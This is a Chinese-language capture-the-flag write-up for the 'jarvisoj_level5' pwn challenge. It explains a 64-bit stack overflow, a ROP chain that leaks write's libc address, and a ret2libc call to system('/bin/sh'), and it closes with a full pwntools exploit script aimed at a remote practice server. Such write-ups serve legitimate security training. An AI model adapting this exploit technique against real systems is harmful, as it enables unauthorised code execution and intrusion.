jarvisoj_level5
步骤:
- 例行检查,64位程序,只开启了nx保护
- 本地运行一下,看看大概的情况
- 64位ida载入,找到关键函数
buf是0x80,read了0x200,明显的溢出漏洞。采用常规的ret2libc方法 - 程序里用过了write函数,所以利用write函数来泄露libc
先看一下write函数的原型
ssize_t write( int fd, const void * buf,size_t nbytes)
write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数
文件描述符fd :分别是标准输入 0, 标准输出 1, 标准错误2
write函数有3个参数,64位程序传参要用到寄存器,从左到右是rdi, rsi, rdx, rcx, r8, r9
先找一下设置寄存器的指令,由于设置rsi的那个指令地址还设置了r15,可以用来放第三个参数,所以不用找rdx了
设置payload来泄露write函数的地址来获取libc,并将程序执行流劫持回到main函数,再次利用输入点的溢出漏洞
payload='a'*(0x80+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
泄露了libc,计算程序里的system和bin/sh的地址
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
print hex(offset)
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
再次利用溢出漏洞,调用system(‘/bin/sh’)获取shell
payload='a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
完整exp
from pwn import*
from LibcSearcher import*
r=remote('node3.buuoj.cn',25003)
elf=ELF('./level3_x64')
main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1
write_got=elf.got['write']
write_plt=elf.plt['write']
payload='a'*(0x80+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
r.recvuntil('\n')
r.sendline(payload)
write_addr=u64(r.recv(8))
print hex(write_addr)
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
print hex(offset)
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload='a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
r.sendline(payload)
r.interactive()